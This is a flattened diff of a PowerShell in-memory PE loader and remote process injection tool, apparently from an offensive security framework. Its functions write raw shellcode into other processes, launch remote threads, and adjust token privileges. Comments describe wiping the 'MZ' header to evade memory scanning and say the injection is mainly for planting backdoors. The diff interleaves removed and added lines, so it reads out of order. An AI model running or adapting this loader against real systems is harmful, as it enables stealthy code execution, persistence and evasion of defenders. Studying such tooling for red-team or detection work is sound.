[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) - [IntPtr]$OutputPtr = $StringFunc.Invoke() - $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) - Write-Output $Output - } - - 'Void' { - Write-Verbose "Calling function with Void return type" - [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" - if ($VoidFuncAddr -eq [IntPtr]::Zero) - { - Throw "Couldn't find function address." - } - $VoidFuncDelegate = Get-DelegateType @() ([Void]) - $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) - $VoidFunc.Invoke() | Out-Null - } - } - ######################################### - ### END OF YOUR CODE - ######################################### - } - #For remote DLL injection, call a void function which takes no parameters - elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) - { - $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" - if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) - { - Throw "VoidFunc couldn't be found in the DLL" - } - - $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle - $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle - - #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors - $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions - } - - #Don't free a library if it is injected in a remote process or if it is an EXE. - #Note that all DLL's loaded by the EXE will remain loaded in memory. - if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL") - { - Invoke-MemoryFreeLibrary -PEHandle $PEHandle - } - else - { - #Delete the PE file from memory. - $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) - if ($Success -eq $false) - { - Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue - } - } - - Write-Verbose "Done!" - } - - Main -} + [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) + [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) + $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) + $TokenPrivileges.PrivilegeCount = 1 + $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) + $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED + [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) + + $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() #Need this to get success value or failure value + if (($Result -eq $false) -or ($ErrorCode -ne 0)) + { + #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set + } -#Main function to either run the script locally or remotely -Function Main -{ - if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) - { - $DebugPreference = "Continue" - } - - Write-Verbose "PowerShell ProcessID: $PID" - - #Verify the image is a valid PE file - $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) + } - if ($e_magic -ne 'MZ') + Function Create-RemoteThread { - throw 'PE is not a valid PE file.' + Param( + [Parameter(Position = 1, Mandatory = $true)] + [IntPtr] + $ProcessHandle, + + [Parameter(Position = 2, Mandatory = $true)] + [IntPtr] + $StartAddress, + + [Parameter(Position = 3, Mandatory = $false)] + [IntPtr] + $ArgumentPtr = [IntPtr]::Zero, + + [Parameter(Position = 4, Mandatory = $true)] + [System.Object] + $Win32Functions + ) + + [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero + + $OSVersion = [Environment]::OSVersion.Version + #Vista and Win7 + if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) + { + #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) + $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" + } + } + #XP/Win8 + else + { + #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) + } + + if ($RemoteThreadHandle -eq [IntPtr]::Zero) + { + Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop + } + + return $RemoteThreadHandle } - if (-not $DoNotZeroMZ) { - # Remove 'MZ' from the PE file so that it cannot be detected by .imgscan in WinDbg - # TODO: Investigate how much of the header can be destroyed, I'd imagine most of it can be. - $PEBytes[0] = 0 - $PEBytes[1] = 0 - } - - #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) - if ($ExeArgs -ne $null -and $ExeArgs -ne '') - { - $ExeArgs = "ReflectiveExe $ExeArgs" - } - else - { - $ExeArgs = "ReflectiveExe" - } - - if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") - { - Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) - } - else - { - Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName - } + Function Get-ImageNtHeaders + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $NtHeadersInfo = New-Object System.Object + + #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness + $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) + + #Get IMAGE_NT_HEADERS + [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr + $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) + + #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen. + if ($imageNtHeaders64.Signature -ne 0x00004550) + { + throw "Invalid IMAGE_NT_HEADER signature." + } + + if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') + { + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true + } + else + { + $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 + $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false + } + + return $NtHeadersInfo + } + + + #This function will get the information needed to allocated space in memory for the PE + Function Get-PEBasicInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + $PEInfo = New-Object System.Object + + #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [IntPtr] + $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing) + + [Parameter(Position=3, Mandatory=$true)] + [Bool] + $LoadByOrdinal + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + [IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal + #If not loading by ordinal, write the function name to the remote process memory + if (-not $LoadByOrdinal) + { + $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + } + #If loading by ordinal, just set RFuncNamePtr to be the ordinal number + else + { + $RFuncNamePtr = $FunctionNamePtr + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + #Cleanup remote process memory + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + if (-not $LoadByOrdinal) + { + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - 